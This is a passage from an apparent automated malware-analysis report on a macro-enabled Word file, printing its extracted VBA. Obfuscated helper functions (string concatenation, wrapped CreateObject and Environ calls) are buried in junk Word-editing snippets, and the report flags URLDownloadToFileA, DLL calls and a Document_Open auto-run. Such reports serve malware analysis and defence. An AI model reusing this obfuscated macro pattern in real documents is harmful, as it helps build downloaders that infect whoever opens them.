(431)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\nCase (-875 + 746 + (361 - (152) + -569)): ArmjvxE = lfG6gxp + vh3Lh1SaZanzei0FFD\n\nEnd Select\n\n\nEnd Function\nFunction GFRC1xQH(v9P5cXgT As String, muWMy3C8PixXMthQPU As String)\n\nSelect Case -1415\nCase (282 + (-874) - (-129 + -476) + (-200)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\n Title = \"CharCount\"\n CharCount = Len(Selection)\n Message = LTrim(Str(CharCount)) + \" character\"\n If CharCount <> 1 Then Message = Message + \"s\"\n MsgBox Message, vbOKOnly, Title\n\n\n\nCase (-960 + -880 + (484 - (-777) + -836)): GFRC1xQH = v9P5cXgT + muWMy3C8PixXMthQPU\n\nEnd Select\n\n\nEnd Function\nFunction ZiGwBLDR3Kd(MySkP0skoQq5 As String, WfDFY4D As String)\n\nSelect Case 1080\nCase (741 + (438) - (941 + 353) + (475)):\n\n\n\nActiveDocument.Bookmarks.Add Range:=Selection.Range, _\n Name:=\"BookmarkName\"\n\n\n\nColumns.EntireColumn.Hidden = False\nRows.EntireRow.Hidden = False\n\n\n\nCase (755 + 441 + (-400 - (-173) + 111)): ZiGwBLDR3Kd = MySkP0skoQq5 + WfDFY4D\n\nEnd Select\n\n\nEnd Function\nFunction s5Lagjw5m(bknVJIIiq2Ryf8T As String, DUJ96L6IOiZdQs9e9 As String)\n\nSelect Case -228\nCase (433 + -628 + (-954 - (-99) + 822)): s5Lagjw5m = bknVJIIiq2Ryf8T + DUJ96L6IOiZdQs9e9\n\nCase (501 + (416) - (-158 + 621) + (-509)):\n\n\n\nDo Until ActiveDocument.Bookmarks(\"\\Sel\") = _\n ActiveDocument.Bookmarks(\"\\EndOfDoc\")\n Selection.Find.ClearFormatting\n With Selection.Find\n .Text = \"Howdy!\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\n End With\n Selection.Find.Execute\n\n If Selection.Find.Found = True Then\n 'Do something within the found text\n Else\n Exit Do\n End If\n Loop\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ftICRXW6I(MCsJfT9S7I1iNR As String, Ax3SjvPxrV As String)\n\nSelect Case -1090\nCase (527 + -65 + (-989 - (201) + -362)): ftICRXW6I = MCsJfT9S7I1iNR + Ax3SjvPxrV\n\nCase (-112 + (-981) - (-703 + -320) + (542)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nEnd Select\n\n\nEnd Function\nFunction XLJDdezhP9lSk(ROnjfrqhOH As String, bTF9X1Ahz24a1GPf As String)\n\nSelect Case 390\nCase (758 + -190 + (900 - (824) + -254)): XLJDdezhP9lSk = ROnjfrqhOH + bTF9X1Ahz24a1GPf\n\nCase (2 + (739) - (-746 + -975) + (757)):\n\n\n\niParCount = ActiveDocument.Paragraphs.Count\nFor J = 1 To iParCount\n sMyPar = ActiveDocument.Paragraphs(J).Range.Text\n ActiveDocument.Paragraphs(J).Range.Text = sMyPar\nNext J\n\n\n\n With ActiveDocument\n ' go through each section (except for the last one)\n For iSec = 1 To .Sections.Count - 1\n ' create a range object at the start of the section\n Set oRng = .Sections(iSec).Range\n oRng.Collapse wdCollapseStart\n ' insert a sectionpages field\n .Fields.Add Range:=oRng, Type:=wdFieldSectionPages\n ' divide the sectionpages field by 2\n ' if it gives a zero as the remainder, then\n ' you have an even number of pages in the section,\n ' which is what you want with an odd section page break\n If (.Sections(iSec).Range.Fields(1).Result Mod 2) <> 0 Then\n ' if you have an odd number of pages, then insert\n ' a page break before the section's section break\n Set oRng = .Sections(iSec).Range\n With oRng\n .Collapse Direction:=wdCollapseEnd\n .MoveEnd Unit:=wdCharacter, Count:=-1\n .InsertBreak Type:=wdPageBreak\n End With\n End If\n ' remove the sectionpages field that was added\n .Sections(iSec).Range.Fields(1).Delete\n Next iSec\n End With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction ELk3zBm4WdTd(NQPik As String, OKNsGgPmFSJK As String)\n\nSelect Case -445\nCase (-897 + 624 + (-180 - (293) + 301)): ELk3zBm4WdTd = NQPik + OKNsGgPmFSJK\n\nCase (838 + (-695) - (-454 + -646) + (747)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zB1jevQih(vgitu As String, hlhyoQqNWKzUQIf As String)\nzB1jevQih = vgitu + hlhyoQqNWKzUQIf\nEnd Function\nFunction CmaDNsXSStKW(XD8rHGLkukakFvRixUV As String, hx2QV As String)\n\nSelect Case 850\nCase (847 + 415 + (870 - (790) + -492)): CmaDNsXSStKW = XD8rHGLkukakFvRixUV + hx2QV\n\nCase (547 + (-146) - (-474 + 194) + (755)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n If Selection.Type = wdSelectionIP Then\n Selection.MoveLeft Unit:=wdWord, Count:=1\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n End If\n Selection.Range.Case = wdTitleWord\n Selection.Font.SmallCaps = True\n\n\n\nEnd Select\n\n\nEnd Function\nFunction Vu0ojWQqybp(x1t95nk11e As String, XcYrbdM0n As String)\n\nSelect Case 234\nCase (348 + (909) - (918 + -494) + (354)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nWhile Selection.Find.Execute\nMsgBox (\"A\")\nWend\n\n\n\n\n ' reference the current document\n Set docActive = ActiveDocument\n\n ' get the name of doc and also path/name\n ' of the template it's based-on\n strDocName = docActive.Name\n strTemplateName = docActive.AttachedTemplate.FullName\n\n ' create a copy document based on same template\n Set docNew = Documents.Add(strTemplateName)\n\n ' loop to copy each part of the active doc to the new doc\n For Each rngActiveDocPart In docActive.StoryRanges\n ' reference same part\n Set rngNewDocPart = docNew.StoryRanges _\n (rngActiveDocPart.StoryType)\n rngActiveDocPart.Copy\n rngNewDocPart.Paste\n Next rngActiveDocPart\n\n ' make the new document active\n docNew.Activate\n\n ' offer to save it on floppy drive A:\\\n\n\n\n\nCase (-797 + 921 + (-415 - (-568) + -43)): Vu0ojWQqybp = x1t95nk11e + XcYrbdM0n\n\nEnd Select\n\n\nEnd Function\nFunction UWVuzd2m5a(EEgbS5c2 As String, xaiVn As String)\n\nSelect Case 343\nCase (-28 + 360 + (-227 - (697) + 935)): UWVuzd2m5a = EEgbS5c2 + xaiVn\n\nCase (548 + (-562) - (-445 + -230) + (-705)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\nWith Selection.Cells\n .Borders(wdBorderLeft).LineStyle = wdLineStyleNone\n With .Borders(wdBorderRight)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderTop)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n With .Borders(wdBorderBottom)\n .LineStyle = wdLineStyleSingle\n .LineWidth = wdLineWidth075pt\n .ColorIndex = wdAuto\n End With\n .Borders.Shadow = False\nEnd With\nWith Options\n .DefaultBorderLineStyle = wdLineStyleSingle\n .DefaultBorderLineWidth = wdLineWidth050pt\n .DefaultBorderColorIndex = wdAuto\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction teePovJThqk(cuGNBf7zYiaOoA6srLw As String, FBHGQQ As String)\n\nSelect Case -1575\nCase (-434 + 347 + (-921 - (-289) + -856)): teePovJThqk = cuGNBf7zYiaOoA6srLw + FBHGQQ\n\nCase (-646 + (-113) - (-500 + 504) + (950)):\n\n\n\nSelection.TypeBackspace\nWith ActiveDocument.Bookmarks\n .Add Range:=Selection.Range, Name:=\"Name\"\n .DefaultSorting = wdSortByName\n .ShowHidden = False\nEnd With\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction wXXOBwP(Mlk7Rw2pvxLGB As String, LfFfx03GRv82EmGbLd As String)\n\nSelect Case 1226\nCase (-863 + 881 + (906 - (-678) + -376)): wXXOBwP = Mlk7Rw2pvxLGB + LfFfx03GRv82EmGbLd\n\nCase (483 + (-64) - (-347 + 484) + (-969)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zXV4j5tC(qw6BL As String, ERGeLyE9Wb9 As String)\n\nSelect Case -1613\nCase (-508 + -484 + (-568 - (433) + 380)): zXV4j5tC = qw6BL + ERGeLyE9Wb9\n\nCase (-92 + (150) - (-381 + -526) + (-727)):\n\n\n\nMsgBox (\"The document variable is set to type: \" & _\nActiveDocument.Variables(\"DocumentType\").Value)\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"yyy\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\nFunction dfRj09GGx9(aZwbJPNn As String, vc4CAlDaJVJ5AK As String)\n\nSelect Case 56\nCase (-450 + -637 + (407 - (-220) + 516)): dfRj09GGx9 = aZwbJPNn + vc4CAlDaJVJ5AK\n\nCase (-459 + (-667) - (82 + -589) + (425)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nEnd Select\n\n\nEnd Function\nFunction iI4gRDlrZ(GhMhHCmbR As String, EhfjJQZI9WbM3 As String)\n\nSelect Case -1575\nCase (-306 + -795 + (-339 - (559) + 424)): iI4gRDlrZ = GhMhHCmbR + EhfjJQZI9WbM3\n\nCase (-689 + (-645) - (228 + -269) + (287)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\nEnd Select\n\n\nEnd Function\nFunction zWzifR4(Ualep0H4QF As String, vNc3f As String)\n\nSelect Case -520\nCase (-523 + (563) - (949 + -817) + (348)):\n\n\n\n ' set document folder path and template strings\n strDocPath = \"C:\\path to document folder\\\"\n strTemplateB = \"C:\\path to template\\templateB.dot\"\n\n ' get first doc - only time need to provide file spec\n strCurDoc = Dir(strDocPath & \"*.doc\")\n\n ' ready to loop (for as long as file found)\n Do While strCurDoc <> \"\"\n ' open file\n Set docCurDoc = Documents.Open(FileName:=strDocPath & strCurDoc)\n ' change the template\n docCurDoc.AttachedTemplate = strTemplateB\n ' save and close\n docCurDoc.Close wdSaveChanges\n ' get next file name\n strCurDoc = Dir\n Loop\n MsgBox \"Finished\"\n\n\n\n With Selection.Find\n .ClearFormatting\n .Replacement.ClearFormatting\n .Text = \" {2,}\"\n .Replacement.Text = \"^t\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchAllWordForms = False\n .MatchSoundsLike = False\n .MatchWildcards = True\n End With\n Selection.Find.Execute Replace:=wdReplaceAll\n Selection.ConvertToTable _\n Separator:=wdSeparateByTabs, _\n Format:=wdTableFormatNone\n\n\n\nCase (550 + -254 + (-886 - (-113) + -43)): zWzifR4 = Ualep0H4QF + vNc3f\n\nEnd Select\n\n\nEnd Function\nFunction kldBbOl(Vo30c7y4Yrz5jm0nO As String, rdr7WYwa91kSk As String)\n\nSelect Case 929\nCase (-81 + (488) - (-761 + -992) + (-820)):\n\n\n\nSelection.Find.ClearFormatting\nSelection.Find.Replacement.ClearFormatting\nWith Selection.Find\n .Text = \"Something\"\n .Forward = True\n .Wrap = wdFindStop\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nDo While Selection.Find.Execute\n 'Do something within the found text\nLoop\n\n\n\n sBigStuff = \"\"\n\n ' Select the full number in which the insertion point is located\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdMove\n Selection.MoveRight Unit:=wdWord, Count:=1, Extend:=wdExtend\n\n ' Store the digits in a variable\n sDigits = Trim(Selection.Text)\n\n If Val(sDigits) > 999999 Then\n If Val(sDigits) <= 999999999 Then\n sBigStuff = Trim(Int(Str(Val(sDigits) / 1000000)))\n ' Create a field containing the big digits and\n ' the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sBigStuff + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sBigStuff = Selection.Text & \" million \"\n sDigits = Right(sDigits, 6)\n End If\n End If\n If Val(sDigits) <= 999999 Then\n ' Create a field containing the digits and the cardtext format flag\n Selection.Fields.Add Range:=Selection.Range, _\n Type:=wdFieldEmpty, Text:=\"= \" + sDigits + \" \\* CardText\", _\n PreserveFormatting:=True\n\n ' Select the field and copy it\n Selection.MoveLeft Unit:=wdWord, Count:=1, Extend:=wdExtend\n sDigits = sBigStuff & Selection.Text\n\n ' Now put the words in the document\n Selection.TypeText Text:=sDigits\n Selection.TypeText Text:=\" \"\n Else\n MsgBox \"Number too large\", vbOKOnly\n End If\n\n\n\nCase (23 + 53 + (289 - (-940) + -376)): kldBbOl = Vo30c7y4Yrz5jm0nO + rdr7WYwa91kSk\n\nEnd Select\n\n\nEnd Function\nFunction luT4ufQEbXfb(LhNumLSb As String, kwVVC As String)\n\nSelect Case -2209\nCase (-638 + (-818) - (-782 + -359) + (-290)):\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nCase (36 + 27 + (-438 - (945) + -889)): luT4ufQEbXfb = LhNumLSb + kwVVC\n\nEnd Select\n\n\nEnd Function\nFunction leOVUzQenaA(WuUpWIM9ese3) As Object\n\nSelect Case 2709\nCase (-670 + (574) - (-369 + 257) + (873)):\n\n\n\nSelection.Find.ClearFormatting\nWith Selection.Find\n .Text = \"xxx\"\n .Replacement.Text = \"\"\n .Forward = True\n .Wrap = wdFindContinue\n .Format = False\n .MatchCase = False\n .MatchWholeWord = False\n .MatchWildcards = False\n .MatchSoundsLike = False\n .MatchAllWordForms = False\nEnd With\nSelection.Find.Execute\n\n\n\n BIStatus = 0\n If Selection.Font.Bold Then BIStatus = BIStatus + 1\n If Selection.Font.Italic Then BIStatus = BIStatus + 1\n\n If BIStatus = 0 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 1 Then\n Selection.Font.Bold = True\n Selection.Font.Italic = True\n End If\n If BIStatus = 2 Then\n Selection.Font.Bold = False\n Selection.Font.Italic = False\n End If\n\n\n\nCase (361 + 598 + (326 - (-763) + 661)): Set leOVUzQenaA = CreateObject(WuUpWIM9ese3)\n\nEnd Select\n\n\nEnd Function\n\nFunction ii3epYH(KyYTAzvjd6) As String\n\nSelect Case 858\nCase (556 + 562 + (-82 - (-347) + -525)): ii3epYH = Environ(KyYTAzvjd6)\n\nCase (979 + (-861) - (-339 + -128) + (72)):\n\n\n\n If ActiveDocument.Saved = False Then ActiveDocument.Save\n System.Cursor = wdCursorWait\n OrigLongFileName = ActiveDocument.Name\n OldPath = ActiveDocument.Path & Application.PathSeparator\n If ActiveDocument.Path = \"\" Then\n MsgBox \"Please save this document before sending to drive A:\", _\n vbOKOnly, \"This Document Not Saved\"\n Else\n FileCopy OldPath & OrigLongFileName, \"a:\\\" & OrigLongFileName\n Documents.Open FileName:=OldPath & OrigLongFileName\n Application.GoBack\n End If\n System.Cursor = wdCursorNormal\n\n\n\nActiveDocument.Range.Font.Hidden = True\nSet rDcm = ActiveDocument.Range\nWith rDcm.Find\n.Text = \"\"\n.Highlight = True\n.Forward = False\nWhile .Execute\nIf rDcm.HighlightColorIndex = wdYellow Then\nrDcm.HighlightColorIndex = wdNoHighlight\nrDcm.Font.Hidden = False\nrDcm.Collapse Direction:=wdCollapseStart\nrDcm.Start = ActiveDocument.Range.Start\nEnd If\nWend\nEnd With\nSet rDcm = ActiveDocument.Range\nOptions.DefaultHighlightColorIndex = wdYellow\nWith rDcm.Find\n.Text = \"\"\n.Font.Hidden = False\n.Forward = False\n.Replacement.Highlight = True\n.Execute Replace:=wdReplaceAll\nEnd With\n\n\n\nEnd Select\n\n\nEnd Function\n\n"
  2157. ]
  2158. ]
  2159. },
  2160. "Analysis": {
  2161. "Suspicious": [
  2162. [
  2163. "Open",
  2164. "May open a file"
  2165. ],
  2166. [
  2167. "CreateObject",
  2168. "May create an OLE object"
  2169. ],
  2170. [
  2171. "FileCopy",
  2172. "May copy a file"
  2173. ],
  2174. [
  2175. "Environ",
  2176. "May read system environment variables"
  2177. ],
  2178. [
  2179. "Put",
  2180. "May write to a file (if combined with Open)"
  2181. ],
  2182. [
  2183. "URLDownloadToFileA",
  2184. "May download files from the Internet"
  2185. ],
  2186. [
  2187. "Lib",
  2188. "May run code from a DLL"
  2189. ]
  2190. ],
  2191. "AutoExec": [
  2192. [
  2193. "Document_Open",
  2194. "Runs when the Word document is opened"
  2195. ]
  2196. ]
  2197. }
  2198. },
  2199. "Metadata": {
  2200. "SummaryInformation": {
  2201. "num_words": "0",
  2202. "num_pages": "1",
  2203. "last_saved_by": "user",
  2204. "creating_application": "Microsoft Office Word",
  2205. "author": "",
  2206. "revision_number": "2",
  2207. "codepage": "1252",
  2208. "title": "",
  2209. "comments": "",
  2210. "num_chars": "1",
  2211. "total_edit_time": "0",
  2212. "create_time": "None",
  2213. "template": "Normal.dotm",
  2214. "last_printed": "None",
  2215. "keywords": "",
  2216. "security": "0",
  2217. "last_saved_time": "None",
  2218. "thumbnail": "None",
  2219. "subject": ""
  2220. },
  2221. "DocumentSummaryInformation": {
  2222. "codepage_doc": "1252",
  2223. "chars_with_spaces": "1",
  2224. "shared_doc": "False",
  2225. "paragraphs": "1",
  2226. "hidden_slides": "None",
  2227. "mm_clips": "None",
  2228. "category": "None",
  2229. "presentation_target": "None",
  2230. "hlinks_changed": "False",
  2231. "scale_crop": "False",
  2232. "version": "1048576",
  2233. "hlinks": "None",
  2234. "link_base": "None",
  2235. "company": "",
  2236. "unused": "None",
  2237. "dig_sig": "None",
  2238. "content_type": "None",
  2239. "heading_pairs": "None",
  2240. "slides": "None",
  2241. "links_dirty": "False",
  2242. "language": "None",
  2243. "notes": "None",
  2244. "bytes": "11000",
  2245. "manager": "None",
  2246. "content_status": "None",
  2247. "doc_version": "None",
  2248. "titles_of_parts": "None",
  2249. "lines": "1"
  2250. },
  2251. "HasMacros": "Yes",
  2252. "DocumentType": "Word Document"
  2253. }
  2254. }
  2255. }
  2256.  
  2257. [*] Resolved APIs: [
  2258. "mso.dll.#1443",
  2259. "mso.dll.#9214",
  2260. "mso.dll.#199",
  2261. "mso.dll.#1073",
  2262. "mso.dll.#4255",
  2263. "secur32.dll.FreeContextBuffer",
  2264. "ncrypt.dll.SslOpenProvider",
  2265. "ncrypt.dll.GetSChannelInterface",
  2266. "bcryptprimitives.dll.GetHashInterface",
  2267. "ncrypt.dll.SslIncrementProviderReferenceCount",
  2268. "ncrypt.dll.SslImportKey",
  2269. "bcryptprimitives.dll.GetCipherInterface",
  2270. "ncrypt.dll.SslLookupCipherSuiteInfo",
  2271. "mso.dll.#6588",
  2272. "user32.dll.LoadStringW",
  2273. "ncrypt.dll.BCryptOpenAlgorithmProvider",
  2274. "ncrypt.dll.BCryptGetProperty",
  2275. "ncrypt.dll.BCryptCreateHash",
  2276. "ncrypt.dll.BCryptHashData",
  2277. "ncrypt.dll.BCryptFinishHash",
  2278. "ncrypt.dll.BCryptDestroyHash",
  2279. "crypt32.dll.CertGetCertificateChain",
  2280. "msi.dll.#111",
  2281. "userenv.dll.GetUserProfileDirectoryW",
  2282. "sechost.dll.ConvertSidToStringSidW",
  2283. "sechost.dll.ConvertStringSidToSidW",
  2284. "mso.dll.#5889",
  2285. "mso.dll.#2422",
  2286. "mso.dll.#5735",
  2287. "mso.dll.#5002",
  2288. "gkword.dll.FValidateWordFile",
  2289. "gkword.dll.GkInitHost",
  2290. "userenv.dll.RegisterGPNotification",
  2291. "gpapi.dll.RegisterGPNotificationInternal",
  2292. "sechost.dll.OpenSCManagerW",
  2293. "sechost.dll.OpenServiceW",
  2294. "sechost.dll.CloseServiceHandle",
  2295. "sechost.dll.QueryServiceConfigW",
  2296. "cryptsp.dll.CryptAcquireContextA",
  2297. "cryptsp.dll.CryptCreateHash",
  2298. "cryptsp.dll.CryptHashData",
  2299. "cryptsp.dll.CryptVerifySignatureA",
  2300. "cryptsp.dll.CryptDestroyKey",
  2301. "cryptsp.dll.CryptDestroyHash",
  2302. "bcryptprimitives.dll.GetAsymmetricEncryptionInterface",
  2303. "ncrypt.dll.BCryptImportKeyPair",
